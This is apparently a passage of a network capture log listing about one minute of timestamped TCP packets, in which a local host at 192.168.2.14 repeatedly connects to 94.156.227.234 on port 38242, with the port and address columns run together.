                                                    Dec 24, 2024 05:58:29.211883068 CET5139838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:29.377226114 CET382425139894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:29.832905054 CET382425139894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:29.833008051 CET5139838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:30.212800980 CET5140038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:30.332669973 CET382425140094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:30.332740068 CET5140038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:30.332771063 CET5140038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:30.452497959 CET382425140094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:30.836178064 CET5140038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:30.997267008 CET382425140094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:31.451610088 CET382425140094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:31.451685905 CET5140038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:31.837558031 CET5140238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:31.957173109 CET382425140294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:31.957305908 CET5140238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:31.957336903 CET5140238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:32.076925993 CET382425140294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:32.461530924 CET5140238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:32.625273943 CET382425140294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:33.079165936 CET382425140294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:33.079262972 CET5140238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:33.463017941 CET5140438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:33.582767010 CET382425140494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:33.582863092 CET5140438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:33.582921028 CET5140438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:33.702523947 CET382425140494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:34.088490009 CET5140438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:34.249288082 CET382425140494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:34.718116045 CET382425140494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:34.718199968 CET5140438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:35.089622021 CET5140638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:35.209455013 CET382425140694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:35.209609985 CET5140638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:35.209609985 CET5140638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:35.329276085 CET382425140694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:35.714129925 CET5140638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:35.877269983 CET382425140694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:36.337498903 CET382425140694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:36.337599993 CET5140638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:36.715361118 CET5140838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:36.835185051 CET382425140894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:36.835292101 CET5140838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:36.835388899 CET5140838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:36.954904079 CET382425140894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:37.339915991 CET5140838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:37.502130985 CET382425140894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:37.630532026 CET382425138294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:37.630604029 CET5138238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:37.954374075 CET382425140894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:37.954462051 CET5140838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:38.340975046 CET5141038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:38.460611105 CET382425141094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:38.460736036 CET5141038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:38.460825920 CET5141038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:38.580529928 CET382425141094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:38.964570999 CET5141038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:39.130245924 CET382425141094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:39.580681086 CET382425141094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:39.580759048 CET5141038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:39.965557098 CET5141238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:40.085777998 CET382425141294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:40.085859060 CET5141238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:40.085906029 CET5141238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:40.205670118 CET382425141294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:40.589905024 CET5141238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:40.753401041 CET382425141294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:41.210664988 CET382425141294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:41.210764885 CET5141238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:41.590905905 CET5141438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:41.710557938 CET382425141494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:41.710623980 CET5141438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:41.710653067 CET5141438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:41.830194950 CET382425141494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:42.214056969 CET5141438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:42.377449036 CET382425141494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:42.840015888 CET382425141494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:42.840084076 CET5141438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:43.215158939 CET5141638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:43.334722996 CET382425141694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:43.334799051 CET5141638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:43.334837914 CET5141638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:43.455216885 CET382425141694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:43.838951111 CET5141638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:44.005444050 CET382425141694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:44.460320950 CET382425141694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:44.460501909 CET5141638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:44.840080976 CET5141838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:44.959842920 CET382425141894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:44.959986925 CET5141838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:44.960216999 CET5141838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:45.079853058 CET382425141894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:45.464500904 CET5141838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:45.625380039 CET382425141894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:46.086858988 CET382425141894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:46.087040901 CET5141838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:46.465626955 CET5142038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:46.585366964 CET382425142094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:46.585496902 CET5142038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:46.585660934 CET5142038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:46.707467079 CET382425142094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:47.090025902 CET5142038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:47.253460884 CET382425142094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:47.709408045 CET382425142094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:47.709662914 CET5142038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:48.091236115 CET5142238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:48.212709904 CET382425142294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:48.212822914 CET5142238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:48.212994099 CET5142238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:48.332573891 CET382425142294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:48.716938019 CET5142238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:48.877506971 CET382425142294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:49.334830999 CET382425142294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:49.334907055 CET5142238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:49.718164921 CET5142438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:49.838287115 CET382425142494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:49.838387966 CET5142438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:49.838434935 CET5142438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:49.959089041 CET382425142494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:50.342057943 CET5142438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:50.509562969 CET382425142494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:50.972980976 CET382425142494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:50.973051071 CET5142438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:51.343162060 CET5142638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:51.462780952 CET382425142694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:51.462958097 CET5142638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:51.463026047 CET5142638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:51.582554102 CET382425142694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:51.967315912 CET5142638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:52.133601904 CET382425142694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:52.592341900 CET382425142694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:52.592444897 CET5142638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:52.969187021 CET5142838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:53.088722944 CET382425142894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:53.088833094 CET5142838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:53.088893890 CET5142838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:53.208427906 CET382425142894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:53.597177982 CET5142838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:53.761516094 CET382425142894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:54.213876963 CET382425142894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:54.214132071 CET5142838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:54.598824024 CET5143038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:54.718767881 CET382425143094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:54.718875885 CET5143038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:54.718909025 CET5143038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:54.838474989 CET382425143094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:55.226541996 CET5143038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:55.389448881 CET382425143094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:55.852313995 CET382425143094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:55.852427006 CET5143038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:56.228301048 CET5143238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:56.348037004 CET382425143294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:56.348170042 CET5143238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:56.348328114 CET5143238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:56.467881918 CET382425143294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:56.854309082 CET5143238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:57.017503023 CET382425143294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:57.477030993 CET382425143294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:57.477416039 CET5143238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:57.856003046 CET5143438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:57.975632906 CET382425143494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:57.975780964 CET5143438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:57.975945950 CET5143438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:58.095525980 CET382425143494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:58.482141972 CET5143438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:58.645469904 CET382425143494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:59.101291895 CET382425143494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:59.101428032 CET5143438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:59.484150887 CET5143638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:59.603910923 CET382425143694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:58:59.604000092 CET5143638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:59.604212999 CET5143638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:58:59.723798990 CET382425143694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:00.111865997 CET5143638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:00.273566008 CET382425143694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:00.749998093 CET382425143694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:00.750113010 CET5143638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:01.114037037 CET5143838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:01.234690905 CET382425143894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:01.234824896 CET5143838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:01.234906912 CET5143838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:01.354505062 CET382425143894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:01.743041992 CET5143838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:01.905488968 CET382425143894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:02.350934029 CET382425143894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:02.351016998 CET5143838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:02.745021105 CET5144038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:03.033644915 CET382425144094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:03.033777952 CET5144038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:03.033859015 CET5144038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:03.153322935 CET382425144094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:03.539410114 CET5144038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:03.770622015 CET382425144094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:04.149094105 CET382425144094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:04.149400949 CET5144038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:04.540546894 CET5144238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:04.660185099 CET382425144294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:04.660273075 CET5144238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:04.660341978 CET5144238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:04.779994965 CET382425144294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:05.167221069 CET5144238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:05.333561897 CET382425144294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:05.780019999 CET382425144294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:05.780136108 CET5144238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:06.169497013 CET5144438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:06.289277077 CET382425144494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:06.289688110 CET5144438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:06.289764881 CET5144438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:06.409307957 CET382425144494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:06.799005985 CET5144438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:06.961536884 CET382425144494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:07.412254095 CET382425144494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:07.412419081 CET5144438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:07.801418066 CET5144638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:07.921178102 CET382425144694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:07.921339035 CET5144638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:07.921525002 CET5144638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:08.041132927 CET382425144694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:08.429924011 CET5144638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:08.593599081 CET382425144694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:09.046745062 CET382425144694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:09.046855927 CET5144638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:09.432549953 CET5144838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:09.706671000 CET382425144894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:09.707010031 CET5144838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:09.707010031 CET5144838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:09.827152014 CET382425144894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:10.215564013 CET5144838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:10.381637096 CET382425144894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:10.838450909 CET382425144894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:10.838570118 CET5144838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:11.217597961 CET5145038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:11.337393999 CET382425145094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:11.337479115 CET5145038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:11.337646008 CET5145038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:11.458314896 CET382425145094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:11.842493057 CET5145038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:12.009628057 CET382425145094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:12.464251041 CET382425145094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:12.464482069 CET5145038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:12.844074011 CET5145238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:12.963810921 CET382425145294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:12.963943005 CET5145238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:12.964097023 CET5145238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:13.083646059 CET382425145294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:13.469825983 CET5145238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:13.633632898 CET382425145294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:14.079725981 CET382425145294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:14.079982996 CET5145238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:14.471647978 CET5145438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:14.592612982 CET382425145494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:14.592902899 CET5145438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:14.592998981 CET5145438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:14.712552071 CET382425145494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:15.099096060 CET5145438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:15.266973972 CET382425145494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:15.722994089 CET382425145494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:15.723074913 CET5145438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:16.100701094 CET5145638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:16.221019983 CET382425145694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:16.221107960 CET5145638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:16.221277952 CET5145638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:16.340755939 CET382425145694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:16.725989103 CET5145638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:16.889657974 CET382425145694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:17.353174925 CET382425145694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:17.353267908 CET5145638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:17.727541924 CET5145838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:17.847306967 CET382425145894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:17.847455025 CET5145838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:17.847562075 CET5145838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:17.967076063 CET382425145894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:18.353746891 CET5145838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:18.513645887 CET382425145894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:18.984786034 CET382425145894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:18.984890938 CET5145838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:19.355488062 CET5146038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:19.475234985 CET382425146094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:19.475337982 CET5146038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:19.475493908 CET5146038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:19.596146107 CET382425146094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:19.980607033 CET5146038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:20.141766071 CET382425146094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:20.599061012 CET382425146094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:20.599229097 CET5146038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:20.982458115 CET5146238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:21.102436066 CET382425146294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:21.102766991 CET5146238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:21.102766991 CET5146238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:21.222462893 CET382425146294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:21.607254982 CET5146238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:21.769701958 CET382425146294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:22.238590002 CET382425146294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:22.238743067 CET5146238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:22.608475924 CET5146438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:22.728226900 CET382425146494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:22.728291035 CET5146438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:22.728327990 CET5146438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:22.847923040 CET382425146494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:23.233274937 CET5146438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:23.393704891 CET382425146494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:23.848592043 CET382425146494.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:23.848721027 CET5146438242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:24.234651089 CET5146638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:24.354559898 CET382425146694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:24.354759932 CET5146638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:24.354819059 CET5146638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:24.474395037 CET382425146694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:24.860271931 CET5146638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:25.025784969 CET382425146694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:25.490055084 CET382425146694.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:25.490283966 CET5146638242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:25.861800909 CET5146838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:26.225471020 CET382425146894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:26.225544930 CET5146838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:26.225583076 CET5146838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:26.345258951 CET382425146894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:26.730777025 CET5146838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:26.893749952 CET382425146894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:27.363219023 CET382425146894.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:27.363435030 CET5146838242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:27.732239008 CET5147038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:27.851943016 CET382425147094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:27.852241039 CET5147038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:27.852241039 CET5147038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:27.971874952 CET382425147094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:28.356851101 CET5147038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:28.521728039 CET382425147094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:28.985735893 CET382425147094.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:28.985858917 CET5147038242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:29.358417988 CET5147238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:29.478127956 CET382425147294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:29.478357077 CET5147238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:29.478408098 CET5147238242192.168.2.1494.156.227.234
                                                    Dec 24, 2024 05:59:29.597999096 CET382425147294.156.227.234192.168.2.14
                                                    Dec 24, 2024 05:59:29.984977961 CET5147238242192.168.2.1494.156.227.234
